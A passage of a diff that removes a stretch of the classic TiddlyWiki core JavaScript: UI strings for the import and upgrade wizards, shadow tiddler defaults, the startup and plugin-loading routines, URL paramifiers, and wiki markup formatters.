- step4Html: "<input type='hidden' name='markReport'></input>", // DO NOT TRANSLATE
- doneLabel: "done",
- donePrompt: "Close this wizard",
- statusDoingImport: "Importing tiddlers",
- statusDoneImport: "All tiddlers imported",
- systemServerNamePattern: "%2 on %1",
- systemServerNamePatternNoWorkspace: "%1",
- confirmOverwriteSaveTiddler: "The tiddler '%0' already exists. Click 'OK' to overwrite it with the details of this server, or 'Cancel' to leave it unchanged",
- serverSaveTemplate: "|''Type:''|%0|\n|''URL:''|%1|\n|''Workspace:''|%2|\n\nThis tiddler was automatically created to record the details of this server",
- serverSaveModifier: "(System)",
- listViewTemplate: {
- columns: [
- {name: 'Selected', field: 'Selected', rowName: 'title', type: 'Selector'},
- {name: 'Tiddler', field: 'tiddler', title: "Tiddler", type: 'Tiddler'},
- {name: 'Size', field: 'size', tiddlerLink: 'size', title: "Size", type: 'Size'},
- {name: 'Tags', field: 'tags', title: "Tags", type: 'Tags'}
- ],
- rowClasses: [
- ]}
- });
-
-merge(config.macros.upgrade,{
- wizardTitle: "Upgrade TiddlyWiki core code",
- step1Title: "Update or repair this TiddlyWiki to the latest release",
- step1Html: "You are about to upgrade to the latest release of the TiddlyWiki core code (from <a href='%0' class='externalLink' target='_blank'>%1</a>). Your content will be preserved across the upgrade.<br><br>Note that core upgrades have been known to interfere with older plugins. If you run into problems with the upgraded file, see <a href='http://www.tiddlywiki.org/wiki/CoreUpgrades' class='externalLink' target='_blank'>http://www.tiddlywiki.org/wiki/CoreUpgrades</a>",
- errorCantUpgrade: "Unable to upgrade this TiddlyWiki. You can only perform upgrades on TiddlyWiki files stored locally",
- errorNotSaved: "You must save changes before you can perform an upgrade",
- step2Title: "Confirm the upgrade details",
- step2Html_downgrade: "You are about to downgrade to TiddlyWiki version %0 from %1.<br><br>Downgrading to an earlier version of the core code is not recommended",
- step2Html_restore: "This TiddlyWiki appears to be already using the latest version of the core code (%0).<br><br>You can continue to upgrade anyway to ensure that the core code hasn't been corrupted or damaged",
- step2Html_upgrade: "You are about to upgrade to TiddlyWiki version %0 from %1",
- upgradeLabel: "upgrade",
- upgradePrompt: "Prepare for the upgrade process",
- statusPreparingBackup: "Preparing backup",
- statusSavingBackup: "Saving backup file",
- errorSavingBackup: "There was a problem saving the backup file",
- statusLoadingCore: "Loading core code",
- errorLoadingCore: "Error loading the core code",
- errorCoreFormat: "Error with the new core code",
- statusSavingCore: "Saving the new core code",
- statusReloadingCore: "Reloading the new core code",
- startLabel: "start",
- startPrompt: "Start the upgrade process",
- cancelLabel: "cancel",
- cancelPrompt: "Cancel the upgrade process",
- step3Title: "Upgrade cancelled",
- step3Html: "You have cancelled the upgrade process"
- });
-
-merge(config.macros.annotations,{
- });
-
-merge(config.commands.closeTiddler,{
- text: "close",
- tooltip: "Close this tiddler"});
-
-merge(config.commands.closeOthers,{
- text: "close others",
- tooltip: "Close all other tiddlers"});
-
-merge(config.commands.editTiddler,{
- text: "edit",
- tooltip: "Edit this tiddler",
- readOnlyText: "view",
- readOnlyTooltip: "View the source of this tiddler"});
-
-merge(config.commands.saveTiddler,{
- text: "done",
- tooltip: "Save changes to this tiddler"});
-
-merge(config.commands.cancelTiddler,{
- text: "cancel",
- tooltip: "Undo changes to this tiddler",
- warning: "Are you sure you want to abandon your changes to '%0'?",
- readOnlyText: "done",
- readOnlyTooltip: "View this tiddler normally"});
-
-merge(config.commands.deleteTiddler,{
- text: "delete",
- tooltip: "Delete this tiddler",
- warning: "Are you sure you want to delete '%0'?"});
-
-merge(config.commands.permalink,{
- text: "permalink",
- tooltip: "Permalink for this tiddler"});
-
-merge(config.commands.references,{
- text: "references",
- tooltip: "Show tiddlers that link to this one",
- popupNone: "No references"});
-
-merge(config.commands.jump,{
- text: "jump",
- tooltip: "Jump to another open tiddler"});
-
-merge(config.commands.fields,{
- text: "fields",
- tooltip: "Show the extended fields of this tiddler",
- emptyText: "There are no extended fields for this tiddler",
- listViewTemplate: {
- columns: [
- {name: 'Field', field: 'field', title: "Field", type: 'String'},
- {name: 'Value', field: 'value', title: "Value", type: 'String'}
- ],
- rowClasses: [
- ],
- buttons: [
- ]}});
-
-merge(config.shadowTiddlers,{
- DefaultTiddlers: "[[GettingStarted]]",
- MainMenu: "[[GettingStarted]]",
- SiteTitle: "My TiddlyWiki",
- SiteSubtitle: "a reusable non-linear personal web notebook",
- SiteUrl: "",
- SideBarOptions: '<<search>><<closeAll>><<permaview>><<newTiddler>><<newJournal "DD MMM YYYY" "journal">><<saveChanges>><<slider chkSliderOptionsPanel OptionsPanel "options \u00bb" "Change TiddlyWiki advanced options">>',
- SideBarTabs: '<<tabs txtMainTab "Timeline" "Timeline" TabTimeline "All" "All tiddlers" TabAll "Tags" "All tags" TabTags "More" "More lists" TabMore>>',
- TabMore: '<<tabs txtMoreTab "Missing" "Missing tiddlers" TabMoreMissing "Orphans" "Orphaned tiddlers" TabMoreOrphans "Shadowed" "Shadowed tiddlers" TabMoreShadowed>>'
- });
-
-merge(config.annotations,{
- AdvancedOptions: "This shadow tiddler provides access to several advanced options",
- ColorPalette: "These values in this shadow tiddler determine the colour scheme of the ~TiddlyWiki user interface",
- DefaultTiddlers: "The tiddlers listed in this shadow tiddler will be automatically displayed when ~TiddlyWiki starts up",
- EditTemplate: "The HTML template in this shadow tiddler determines how tiddlers look while they are being edited",
- GettingStarted: "This shadow tiddler provides basic usage instructions",
- ImportTiddlers: "This shadow tiddler provides access to importing tiddlers",
- MainMenu: "This shadow tiddler is used as the contents of the main menu in the left-hand column of the screen",
- MarkupPreHead: "This tiddler is inserted at the top of the <head> section of the TiddlyWiki HTML file",
- MarkupPostHead: "This tiddler is inserted at the bottom of the <head> section of the TiddlyWiki HTML file",
- MarkupPreBody: "This tiddler is inserted at the top of the <body> section of the TiddlyWiki HTML file",
- MarkupPostBody: "This tiddler is inserted at the end of the <body> section of the TiddlyWiki HTML file immediately after the script block",
- OptionsPanel: "This shadow tiddler is used as the contents of the options panel slider in the right-hand sidebar",
- PageTemplate: "The HTML template in this shadow tiddler determines the overall ~TiddlyWiki layout",
- PluginManager: "This shadow tiddler provides access to the plugin manager",
- SideBarOptions: "This shadow tiddler is used as the contents of the option panel in the right-hand sidebar",
- SideBarTabs: "This shadow tiddler is used as the contents of the tabs panel in the right-hand sidebar",
- SiteSubtitle: "This shadow tiddler is used as the second part of the page title",
- SiteTitle: "This shadow tiddler is used as the first part of the page title",
- SiteUrl: "This shadow tiddler should be set to the full target URL for publication",
- StyleSheetColors: "This shadow tiddler contains CSS definitions related to the color of page elements. ''DO NOT EDIT THIS TIDDLER'', instead make your changes in the StyleSheet shadow tiddler",
- StyleSheet: "This tiddler can contain custom CSS definitions",
- StyleSheetLayout: "This shadow tiddler contains CSS definitions related to the layout of page elements. ''DO NOT EDIT THIS TIDDLER'', instead make your changes in the StyleSheet shadow tiddler",
- StyleSheetLocale: "This shadow tiddler contains CSS definitions related to the translation locale",
- StyleSheetPrint: "This shadow tiddler contains CSS definitions for printing",
- SystemSettings: "This tiddler is used to store configuration options for this TiddlyWiki document",
- TabAll: "This shadow tiddler contains the contents of the 'All' tab in the right-hand sidebar",
- TabMore: "This shadow tiddler contains the contents of the 'More' tab in the right-hand sidebar",
- TabMoreMissing: "This shadow tiddler contains the contents of the 'Missing' tab in the right-hand sidebar",
- TabMoreOrphans: "This shadow tiddler contains the contents of the 'Orphans' tab in the right-hand sidebar",
- TabMoreShadowed: "This shadow tiddler contains the contents of the 'Shadowed' tab in the right-hand sidebar",
- TabTags: "This shadow tiddler contains the contents of the 'Tags' tab in the right-hand sidebar",
- TabTimeline: "This shadow tiddler contains the contents of the 'Timeline' tab in the right-hand sidebar",
- ToolbarCommands: "This shadow tiddler determines which commands are shown in tiddler toolbars",
- ViewTemplate: "The HTML template in this shadow tiddler determines how tiddlers look"
- });
-//--
-//-- Main
-//--
-
-var params = null; // Command line parameters
-var store = null; // TiddlyWiki storage
-var story = null; // Main story
-var formatter = null; // Default formatters for the wikifier
-var anim = typeof Animator == "function" ? new Animator() : null; // Animation engine
-var readOnly = false; // Whether we're in readonly mode
-var highlightHack = null; // Embarrassing hack department...
-var hadConfirmExit = false; // Don't warn more than once
-var safeMode = false; // Disable all plugins and cookies
-var showBackstage; // Whether to include the backstage area
-var installedPlugins = []; // Information filled in when plugins are executed
-var startingUp = false; // Whether we're in the process of starting up
-var pluginInfo,tiddler; // Used to pass information to plugins in loadPlugins()
-
-// Whether this file can be saved back to the same location [Preemption]
-window.allowSave = window.allowSave || function(l)
-{
- return true;
-}
-
-// Whether this file is being viewed locally
-window.isLocal = function()
-{
- return (document.location.protocol == "file:");
-}
-
-// Whether to use the JavaSaver applet
-var useJavaSaver = window.isLocal() && (config.browser.isSafari || config.browser.isOpera);
-
-// Allow preemption code a chance to tweak config and useJavaSaver [Preemption]
-if (window.tweakConfig) window.tweakConfig();
-
-if(!window || !window.console) {
- console = {tiddlywiki:true,log:function(message) {displayMessage(message);}};
-}
-
-// Starting up
-function main()
-{
- window.originalHTML=recreateOriginal();
-
- var t10,t9,t8,t7,t6,t5,t4,t3,t2,t1,t0 = new Date();
- startingUp = true;
- var doc = jQuery(document);
- jQuery.noConflict();
- window.onbeforeunload = function(e) {if(window.confirmExit) return confirmExit();};
- params = getParameters();
- if(params)
- params = params.parseParams("open",null,false);
- store = new TiddlyWiki({config:config});
- invokeParamifier(params,"oninit");
- story = new Story("tiddlerDisplay","tiddler");
- addEvent(document,"click",Popup.onDocumentClick);
- saveTest();
- var s;
- for(s=0; s<config.notifyTiddlers.length; s++)
- store.addNotification(config.notifyTiddlers[s].name,config.notifyTiddlers[s].notify);
- t1 = new Date();
- loadShadowTiddlers();
- doc.trigger("loadShadows");
- t2 = new Date();
- store.loadFromDiv("storeArea","store",true);
- doc.trigger("loadTiddlers");
- loadOptions();
- t3 = new Date();
- invokeParamifier(params,"onload");
- t4 = new Date();
- readOnly = window.isLocal() ? false : config.options.chkHttpReadOnly;
- var pluginProblem = loadPlugins("systemConfig");
- doc.trigger("loadPlugins");
- t5 = new Date();
- formatter = new Formatter(config.formatters);
- invokeParamifier(params,"onconfig");
- story.switchTheme(config.options.txtTheme);
- showBackstage = showBackstage !== undefined ? showBackstage : !readOnly;
- t6 = new Date();
- var m;
- for(m in config.macros) {
- if(config.macros[m].init)
- config.macros[m].init();
- }
- t7 = new Date();
- store.notifyAll();
- t8 = new Date();
- restart();
- refreshDisplay();
- t9 = new Date();
- if(pluginProblem) {
- story.displayTiddler(null,"PluginManager");
- displayMessage(config.messages.customConfigError);
- }
- if(showBackstage)
- backstage.init();
- t10 = new Date();
- if(config.options.chkDisplayInstrumentation) {
- displayMessage("LoadShadows " + (t2-t1) + " ms");
- displayMessage("LoadFromDiv " + (t3-t2) + " ms");
- displayMessage("LoadPlugins " + (t5-t4) + " ms");
- displayMessage("Macro init " + (t7-t6) + " ms");
- displayMessage("Notify " + (t8-t7) + " ms");
- displayMessage("Restart " + (t9-t8) + " ms");
- displayMessage("Total: " + (t10-t0) + " ms");
- }
- startingUp = false;
- doc.trigger("startup");
-}
-
-// Called on unload. All functions called conditionally since they themselves may have been unloaded.
-function unload()
-{
- if(window.checkUnsavedChanges)
- checkUnsavedChanges();
- if(window.scrubNodes)
- scrubNodes(document.body);
-}
-
-// Restarting
-function restart()
-{
- invokeParamifier(params,"onstart");
- if(story.isEmpty()) {
- story.displayDefaultTiddlers();
- }
- window.scrollTo(0,0);
-}
-
-function saveTest()
-{
- var s = document.getElementById("saveTest");
- if(s.hasChildNodes())
- alert(config.messages.savedSnapshotError);
- s.appendChild(document.createTextNode("savetest"));
-}
-
-function loadShadowTiddlers()
-{
- var shadows = new TiddlyWiki();
- shadows.loadFromDiv("shadowArea","shadows",true);
- shadows.forEachTiddler(function(title,tiddler){config.shadowTiddlers[title] = tiddler.text;});
-}
-
-function loadPlugins(tag)
-{
- if(safeMode)
- return false;
- var tiddlers = store.getTaggedTiddlers(tag);
- tiddlers.sort(function(a,b) {return a.title < b.title ? -1 : (a.title == b.title ? 0 : 1);});
- var toLoad = [];
- var nLoaded = 0;
- var map = {};
- var nPlugins = tiddlers.length;
- installedPlugins = [];
- var i;
- for(i=0; i<nPlugins; i++) {
- var p = getPluginInfo(tiddlers[i]);
- installedPlugins[i] = p;
- var n = p.Name || p.title;
- if(n)
- map[n] = p;
- n = p.Source;
- if(n)
- map[n] = p;
- }
- var visit = function(p) {
- if(!p || p.done)
- return;
- p.done = 1;
- var reqs = p.Requires;
- if(reqs) {
- reqs = reqs.readBracketedList();
- var i;
- for(i=0; i<reqs.length; i++)
- visit(map[reqs[i]]);
- }
- toLoad.push(p);
- };
- for(i=0; i<nPlugins; i++)
- visit(installedPlugins[i]);
- for(i=0; i<toLoad.length; i++) {
- p = toLoad[i];
- pluginInfo = p;
- tiddler = p.tiddler;
- if(isPluginExecutable(p)) {
- if(isPluginEnabled(p)) {
- p.executed = true;
- var startTime = new Date();
- try {
- if(tiddler.text)
- window.eval(tiddler.text);
- nLoaded++;
- } catch(ex) {
- p.log.push(config.messages.pluginError.format([exceptionText(ex)]));
- p.error = true;
- if(!console.tiddlywiki) {
- console.log("error evaluating " + tiddler.title, ex);
- }
- }
- pluginInfo.startupTime = String((new Date()) - startTime) + "ms";
- } else {
- nPlugins--;
- }
- } else {
- p.warning = true;
- }
- }
- return nLoaded != nPlugins;
-}
-
-function getPluginInfo(tiddler)
-{
- var p = store.getTiddlerSlices(tiddler.title,["Name","Description","Version","Requires","CoreVersion","Date","Source","Author","License","Browsers"]);
- p.tiddler = tiddler;
- p.title = tiddler.title;
- p.log = [];
- return p;
-}
-
-// Check that a particular plugin is valid for execution
-function isPluginExecutable(plugin)
-{
- if(plugin.tiddler.isTagged("systemConfigForce")) {
- plugin.log.push(config.messages.pluginForced);
- return true;
- }
- if(plugin["CoreVersion"]) {
- var coreVersion = plugin["CoreVersion"].split(".");
- var w = parseInt(coreVersion[0],10) - version.major;
- if(w == 0 && coreVersion[1])
- w = parseInt(coreVersion[1],10) - version.minor;
- if(w == 0 && coreVersion[2])
- w = parseInt(coreVersion[2],10) - version.revision;
- if(w > 0) {
- plugin.log.push(config.messages.pluginVersionError);
- return false;
- }
- }
- return true;
-}
-
-function isPluginEnabled(plugin)
-{
- if(plugin.tiddler.isTagged("systemConfigDisable")) {
- plugin.log.push(config.messages.pluginDisabled);
- return false;
- }
- return true;
-}
-
-//--
-//-- Paramifiers
-//--
-
-function getParameters()
-{
- var p = null;
- if(window.location.hash) {
- p = decodeURIComponent(window.location.hash.substr(1));
- if(config.browser.firefoxDate != null && config.browser.firefoxDate[1] < "20051111")
- p = convertUTF8ToUnicode(p);
- }
- return p;
-}
-
-function invokeParamifier(params,handler)
-{
- if(!params || params.length == undefined || params.length <= 1)
- return;
- var i;
- for(i=1; i<params.length; i++) {
- var p = config.paramifiers[params[i].name];
- if(p && p[handler] instanceof Function)
- p[handler](params[i].value);
- else {
- var h = config.optionHandlers[params[i].name.substr(0,3)];
- if(h && h.set instanceof Function)
- h.set(params[i].name,params[i].value);
- }
- }
-}
-
-config.paramifiers = {};
-
-config.paramifiers.start = {
- oninit: function(v) {
- safeMode = v.toLowerCase() == "safe";
- }
-};
-
-config.paramifiers.open = {
- onstart: function(v) {
- if(!readOnly || store.tiddlerExists(v) || store.isShadowTiddler(v))
- story.displayTiddler("bottom",v,null,false,null);
- }
-};
-
-config.paramifiers.story = {
- onstart: function(v) {
- var list = store.getTiddlerText(v,"").parseParams("open",null,false);
- invokeParamifier(list,"onstart");
- }
-};
-
-config.paramifiers.search = {
- onstart: function(v) {
- story.search(v,false,false);
- }
-};
-
-config.paramifiers.searchRegExp = {
- onstart: function(v) {
- story.prototype.search(v,false,true);
- }
-};
-
-config.paramifiers.tag = {
- onstart: function(v) {
- story.displayTiddlers(null,store.filterTiddlers("[tag["+v+"]]"),null,false,null);
- }
-};
-
-config.paramifiers.newTiddler = {
- onstart: function(v) {
- var args = v.parseParams("anon", null, null)[0];
- var title = args.title ? args.title[0] : v;
- var customFields = args.fields ? args.fields[0] : null;
- if(!readOnly) {
- story.displayTiddler(null,title,DEFAULT_EDIT_TEMPLATE,false,null,customFields);
- story.focusTiddler(title,"text");
- var i,tags = args.tag || [];
- for(i=0;i<tags.length;i++) {
- story.setTiddlerTag(title,tags[i],+1);
- }
- }
- }
-};
-
-config.paramifiers.newJournal = {
- onstart: function(v) {
- if(!readOnly) {
- var now = new Date();
- var title = now.formatString(v.trim());
- story.displayTiddler(null,title,DEFAULT_EDIT_TEMPLATE);
- story.focusTiddler(title,"text");
- }
- }
-};
-
-config.paramifiers.readOnly = {
- onconfig: function(v) {
- var p = v.toLowerCase();
- readOnly = p == "yes" ? true : (p == "no" ? false : readOnly);
- }
-};
-
-config.paramifiers.theme = {
- onconfig: function(v) {
- story.switchTheme(v);
- }
-};
-
-config.paramifiers.upgrade = {
- onstart: function(v) {
- upgradeFrom(v);
- }
-};
-
-config.paramifiers.recent= {
- onstart: function(v) {
- var titles=[];
- var i,tiddlers=store.getTiddlers("modified","excludeLists").reverse();
- for(i=0; i<v && i<tiddlers.length; i++)
- titles.push(tiddlers[i].title);
- story.displayTiddlers(null,titles);
- }
-};
-
-config.paramifiers.filter = {
- onstart: function(v) {
- story.displayTiddlers(null,store.filterTiddlers(v),null,false);
- }
-};
-
-//--
-//-- Formatter helpers
-//--
-
-function Formatter(formatters)
-{
- var n;
- this.formatters = [];
- var pattern = [];
- for(n=0; n<formatters.length; n++) {
- pattern.push("(" + formatters[n].match + ")");
- this.formatters.push(formatters[n]);
- }
- this.formatterRegExp = new RegExp(pattern.join("|"),"mg");
-}
-
-config.formatterHelpers = {
-
- createElementAndWikify: function(w)
- {
- w.subWikifyTerm(createTiddlyElement(w.output,this.element),this.termRegExp);
- },
-
- inlineCssHelper: function(w)
- {
- var styles = [];
- config.textPrimitives.cssLookaheadRegExp.lastIndex = w.nextMatch;
- var lookaheadMatch = config.textPrimitives.cssLookaheadRegExp.exec(w.source);
- while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
- var s,v;
- if(lookaheadMatch[1]) {
- s = lookaheadMatch[1].unDash();
- v = lookaheadMatch[2];
- } else {
- s = lookaheadMatch[3].unDash();
- v = lookaheadMatch[4];
- }
- if(s=="bgcolor")
- s = "backgroundColor";
- if(s=="float")
- s = "cssFloat";
- styles.push({style: s, value: v});
- w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
- config.textPrimitives.cssLookaheadRegExp.lastIndex = w.nextMatch;
- lookaheadMatch = config.textPrimitives.cssLookaheadRegExp.exec(w.source);
- }
- return styles;
- },
-
- applyCssHelper: function(e,styles)
- {
- var t;
- for(t=0; t< styles.length; t++) {
- try {
- e.style[styles[t].style] = styles[t].value;
- } catch (ex) {
- }
- }
- },
-
- enclosedTextHelper: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- var text = lookaheadMatch[1];
- if(config.browser.isIE && (config.browser.ieVersion[1] < 10))
- text = text.replace(/\n/g,"\r");
- createTiddlyElement(w.output,this.element,null,null,text);
- w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
- }
- },
-
- isExternalLink: function(link)
- {
- if(store.tiddlerExists(link) || store.isShadowTiddler(link)) {
- return false;
- }
- var urlRegExp = new RegExp(config.textPrimitives.urlPattern,"mg");
- if(urlRegExp.exec(link)) {
- return true;
- }
- if(link.indexOf(".")!=-1 || link.indexOf("\\")!=-1 || link.indexOf("/")!=-1 || link.indexOf("#")!=-1) {
- return true;
- }
- return false;
- }
-
-};
-
-//--
-//-- Standard formatters
-//--
-
-config.formatters = [
-{
- name: "table",
- match: "^\\|(?:[^\\n]*)\\|(?:[fhck]?)$",
- lookaheadRegExp: /^\|([^\n]*)\|([fhck]?)$/mg,
- rowTermRegExp: /(\|(?:[fhck]?)$\n?)/mg,
- cellRegExp: /(?:\|([^\n\|]*)\|)|(\|[fhck]?$\n?)/mg,
- cellTermRegExp: /((?:\x20*)\|)/mg,
- rowTypes: {"c":"caption", "h":"thead", "":"tbody", "f":"tfoot"},
- handler: function(w)
- {
- var table = createTiddlyElement(w.output,"table",null,"twtable");
- var prevColumns = [];
- var currRowType = null;
- var rowContainer;
- var rowCount = 0;
- var onmouseover = function() {jQuery(this).addClass("hoverRow");};
- var onmouseout = function() {jQuery(this).removeClass("hoverRow");};
- w.nextMatch = w.matchStart;
- this.lookaheadRegExp.lastIndex = w.nextMatch;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
- var nextRowType = lookaheadMatch[2];
- if(nextRowType == "k") {
- table.className = lookaheadMatch[1];
- w.nextMatch += lookaheadMatch[0].length+1;
- } else {
- if(nextRowType != currRowType) {
- rowContainer = createTiddlyElement(table,this.rowTypes[nextRowType]);
- currRowType = nextRowType;
- }
- if(currRowType == "c") {
- // Caption
- w.nextMatch++;
- if(rowContainer != table.firstChild)
- table.insertBefore(rowContainer,table.firstChild);
- rowContainer.setAttribute("align",rowCount == 0?"top":"bottom");
- w.subWikifyTerm(rowContainer,this.rowTermRegExp);
- } else {
- var theRow = createTiddlyElement(rowContainer,"tr",null,rowCount%2?"oddRow":"evenRow");
- theRow.onmouseover = onmouseover;
- theRow.onmouseout = onmouseout;
- this.rowHandler(w,theRow,prevColumns);
- rowCount++;
- }
- }
- this.lookaheadRegExp.lastIndex = w.nextMatch;
- lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- }
- },
- rowHandler: function(w,e,prevColumns)
- {
- var col = 0;
- var colSpanCount = 1;
- var prevCell = null;
- this.cellRegExp.lastIndex = w.nextMatch;
- var cellMatch = this.cellRegExp.exec(w.source);
- while(cellMatch && cellMatch.index == w.nextMatch) {
- if(cellMatch[1] == "~") {
- // Rowspan
- var last = prevColumns[col];
- if(last) {
- last.rowSpanCount++;
- last.element.setAttribute("rowspan",last.rowSpanCount);
- last.element.setAttribute("rowSpan",last.rowSpanCount); // Needed for IE
- last.element.valign = "center";
- if(colSpanCount > 1) {
- last.element.setAttribute("colspan",colSpanCount);
- last.element.setAttribute("colSpan",colSpanCount); // Needed for IE
- colSpanCount = 1;
- }
- }
- w.nextMatch = this.cellRegExp.lastIndex-1;
- } else if(cellMatch[1] == ">") {
- // Colspan
- colSpanCount++;
- w.nextMatch = this.cellRegExp.lastIndex-1;
- } else if(cellMatch[2]) {
- // End of row
- if(prevCell && colSpanCount > 1) {
- prevCell.setAttribute("colspan",colSpanCount);
- prevCell.setAttribute("colSpan",colSpanCount); // Needed for IE
- }
- w.nextMatch = this.cellRegExp.lastIndex;
- break;
- } else {
- // Cell
- w.nextMatch++;
- var styles = config.formatterHelpers.inlineCssHelper(w);
- var spaceLeft = false;
- var chr = w.source.substr(w.nextMatch,1);
- while(chr == " ") {
- spaceLeft = true;
- w.nextMatch++;
- chr = w.source.substr(w.nextMatch,1);
- }
- var cell;
- if(chr == "!") {
- cell = createTiddlyElement(e,"th");
- w.nextMatch++;
- } else {
- cell = createTiddlyElement(e,"td");
- }
- prevCell = cell;
- prevColumns[col] = {rowSpanCount:1,element:cell};
- if(colSpanCount > 1) {
- cell.setAttribute("colspan",colSpanCount);
- cell.setAttribute("colSpan",colSpanCount); // Needed for IE
- colSpanCount = 1;
- }
- config.formatterHelpers.applyCssHelper(cell,styles);
- w.subWikifyTerm(cell,this.cellTermRegExp);
- if(w.matchText.substr(w.matchText.length-2,1) == " ") // spaceRight
- cell.align = spaceLeft ? "center" : "left";
- else if(spaceLeft)
- cell.align = "right";
- w.nextMatch--;
- }
- col++;
- this.cellRegExp.lastIndex = w.nextMatch;
- cellMatch = this.cellRegExp.exec(w.source);
- }
- }
-},
-
-{
- name: "heading",
- match: "^!{1,6}",
- termRegExp: /(\n)/mg,
- handler: function(w)
- {
- w.subWikifyTerm(createTiddlyElement(w.output,"h" + w.matchLength),this.termRegExp);
- }
-},
-
-{
- name: "list",
- match: "^(?:[\\*#;:]+)",
- lookaheadRegExp: /^(?:(?:(\*)|(#)|(;)|(:))+)/mg,
- termRegExp: /(\n)/mg,
- handler: function(w)
- {
- var stack = [w.output];
- var currLevel = 0, currType = null;
- var listLevel, listType, itemType, baseType;
- w.nextMatch = w.matchStart;
- this.lookaheadRegExp.lastIndex = w.nextMatch;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
- if(lookaheadMatch[1]) {
- listType = "ul";
- itemType = "li";
- } else if(lookaheadMatch[2]) {
- listType = "ol";
- itemType = "li";
- } else if(lookaheadMatch[3]) {
- listType = "dl";
- itemType = "dt";
- } else if(lookaheadMatch[4]) {
- listType = "dl";
- itemType = "dd";
- }
- if(!baseType)
- baseType = listType;
- listLevel = lookaheadMatch[0].length;
- w.nextMatch += lookaheadMatch[0].length;
- var t;
- if(listLevel > currLevel) {
- for(t=currLevel; t<listLevel; t++) {
- var target = (currLevel == 0) ? stack[stack.length-1] : stack[stack.length-1].lastChild;
- stack.push(createTiddlyElement(target,listType));
- }
- } else if(listType!=baseType && listLevel==1) {
- w.nextMatch -= lookaheadMatch[0].length;
- return;
- } else if(listLevel < currLevel) {
- for(t=currLevel; t>listLevel; t--)
- stack.pop();
- } else if(listLevel == currLevel && listType != currType) {
- stack.pop();
- stack.push(createTiddlyElement(stack[stack.length-1].lastChild,listType));
- }
- currLevel = listLevel;
- currType = listType;
- var e = createTiddlyElement(stack[stack.length-1],itemType);
- w.subWikifyTerm(e,this.termRegExp);
- this.lookaheadRegExp.lastIndex = w.nextMatch;
- lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- }
- }
-},
-
-{
- name: "quoteByBlock",
- match: "^<<<\\n",
- termRegExp: /(^<<<(\n|$))/mg,
- element: "blockquote",
- handler: config.formatterHelpers.createElementAndWikify
-},
-
-{
- name: "quoteByLine",
- match: "^>+",
- lookaheadRegExp: /^>+/mg,
- termRegExp: /(\n)/mg,
- element: "blockquote",
- handler: function(w)
- {
- var stack = [w.output];
- var currLevel = 0;
- var newLevel = w.matchLength;
- var t,matched;
- do {
- if(newLevel > currLevel) {
- for(t=currLevel; t<newLevel; t++)
- stack.push(createTiddlyElement(stack[stack.length-1],this.element));
- } else if(newLevel < currLevel) {
- for(t=currLevel; t>newLevel; t--)
- stack.pop();
- }
- currLevel = newLevel;
- w.subWikifyTerm(stack[stack.length-1],this.termRegExp);
- createTiddlyElement(stack[stack.length-1],"br");
- this.lookaheadRegExp.lastIndex = w.nextMatch;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- matched = lookaheadMatch && lookaheadMatch.index == w.nextMatch;
- if(matched) {
- newLevel = lookaheadMatch[0].length;
- w.nextMatch += lookaheadMatch[0].length;
- }
- } while(matched);
- }
-},
-
-{
- name: "rule",
- match: "^----+$\\n?|<hr ?/?>\\n?",
- handler: function(w)
- {
- createTiddlyElement(w.output,"hr");
- }
-},
-
-{
- name: "monospacedByLine",
- match: "^(?:/\\*\\{\\{\\{\\*/|\\{\\{\\{|//\\{\\{\\{|<!--\\{\\{\\{-->)\\n",
- element: "pre",
- handler: function(w)
- {
- switch(w.matchText) {
- case "/*{{{*/\n": // CSS
- this.lookaheadRegExp = /\/\*\{\{\{\*\/\n*((?:^[^\n]*\n)+?)(\n*^\f*\/\*\}\}\}\*\/$\n?)/mg;
- break;
- case "{{{\n": // monospaced block
- this.lookaheadRegExp = /^\{\{\{\n((?:^[^\n]*\n)+?)(^\f*\}\}\}$\n?)/mg;
- break;
- case "//{{{\n": // plugin
- this.lookaheadRegExp = /^\/\/\{\{\{\n\n*((?:^[^\n]*\n)+?)(\n*^\f*\/\/\}\}\}$\n?)/mg;
- break;
- case "<!--{{{-->\n": //template
- this.lookaheadRegExp = /<!--\{\{\{-->\n*((?:^[^\n]*\n)+?)(\n*^\f*<!--\}\}\}-->$\n?)/mg;
- break;
- default:
- break;
- }
- config.formatterHelpers.enclosedTextHelper.call(this,w);
- }
-},
-
-{
- name: "wikifyComment",
- match: "^(?:/\\*\\*\\*|<!---)\\n",
- handler: function(w)
- {
- var termRegExp = (w.matchText == "/***\n") ? (/(^\*\*\*\/\n)/mg) : (/(^--->\n)/mg);
- w.subWikifyTerm(w.output,termRegExp);
- }
-},
-
-{
- name: "macro",
- match: "<<",
- lookaheadRegExp: /<<([^>\s]+)(?:\s*)((?:[^>]|(?:>(?!>)))*)>>/mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart && lookaheadMatch[1]) {
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- invokeMacro(w.output,lookaheadMatch[1],lookaheadMatch[2],w,w.tiddler);
- }
- }
-},
-
-{
- name: "prettyLink",
- match: "\\[\\[",
- lookaheadRegExp: /\[\[(.*?)(?:\|(~)?(.*?))?\]\]/mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- var e;
- var text = lookaheadMatch[1];
- if(lookaheadMatch[3]) {
- // Pretty bracketted link
- var link = lookaheadMatch[3];
- e = (!lookaheadMatch[2] && config.formatterHelpers.isExternalLink(link)) ?
- createExternalLink(w.output,link) : createTiddlyLink(w.output,link,false,null,w.isStatic,w.tiddler);
- } else {
- // Simple bracketted link
- e = createTiddlyLink(w.output,text,false,null,w.isStatic,w.tiddler);
- }
